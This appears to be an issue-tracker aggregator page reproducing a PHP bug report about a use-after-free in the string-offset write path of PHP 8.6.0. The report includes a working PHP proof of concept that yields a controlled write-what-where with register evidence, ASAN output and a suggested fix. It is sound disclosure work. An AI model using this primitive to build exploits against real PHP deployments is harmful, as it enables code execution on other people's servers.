UAF in zend_reference write path leads to write-what-where (PHP 8.6.0)

オープン
#25,638 コメント 1 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 1 日以内に返信

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
36/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
c, php

調査の方向性

The write path is in zend_execute.c around line 2199, in zend_assign_to_string_offset; read that function first and trace where GC_ADDREF is taken on the string but not on the zend_reference. Reproduce with the PoC from the issue on an ASAN build to see the heap-use-after-free reported by zend_reference_destroy. Done means the reference survives the error handler and the container type is revalidated before the write, with the PoC no longer crashing.

索引モデルが issue の本文から書いたものです。

説明

Hi,

PHP 8.6.0 (official Windows NTS x64 build, 18/11/2026) has a use-after-free in the string offset write path when the container is a reference.

zend_assign_to_string_offset() keeps the string alive with GC_ADDREF, but it does not keep the zend_reference alive. If the error handler keeps the string with (string)$s and unsets both variables, the reference is freed and the engine writes through the stale pointer (zend_execute.c:2199): and dword [V+4], ..., mov qword [V+8], 0, mov byte [V+24+offset], c, where V is a controlled integer.

PoC:

<?php
$a = str_repeat("A", 24);
$s = &$a;
set_error_handler(function ($no, $msg) {
    $GLOBALS['k'] = (string)$GLOBALS['s'];
    unset($GLOBALS['s']);
    unset($GLOBALS['a']);
    $GLOBALS['x'] = 0x4141414141414141;
    $GLOBALS['y'] = &$GLOBALS['x'];
    return true;
});
$s["1x"] = "Z";

On the official 8.6.0 build: exit 0xC0000005 (2/2), with RAX=0x4141414141414141 and RBP=0x5A ('Z').
ASAN: heap-use-after-free, READ of size 8, zend_execute.c:2199 in zend_assign_to_string_offset, freed by zend_reference_destroy.

This is a different bug from GH-25329 (febae1cbfd only touches the read path).

I know SECURITY.md treats malicious error handlers as bugs, not security issues, so this is a bug report, not a CVE request.

Suggested fix: keep the zend_reference alive across the callback and revalidate the container type before writing.

主要言語
C
スター
41.8k
フォーク
8.6k
平均マージ
2日 15時間
マージ済み PR(30日)
125

環境構築

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

php/php-src のほかの issue

php/php-src の issue をすべて見る

似ている issue

C の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。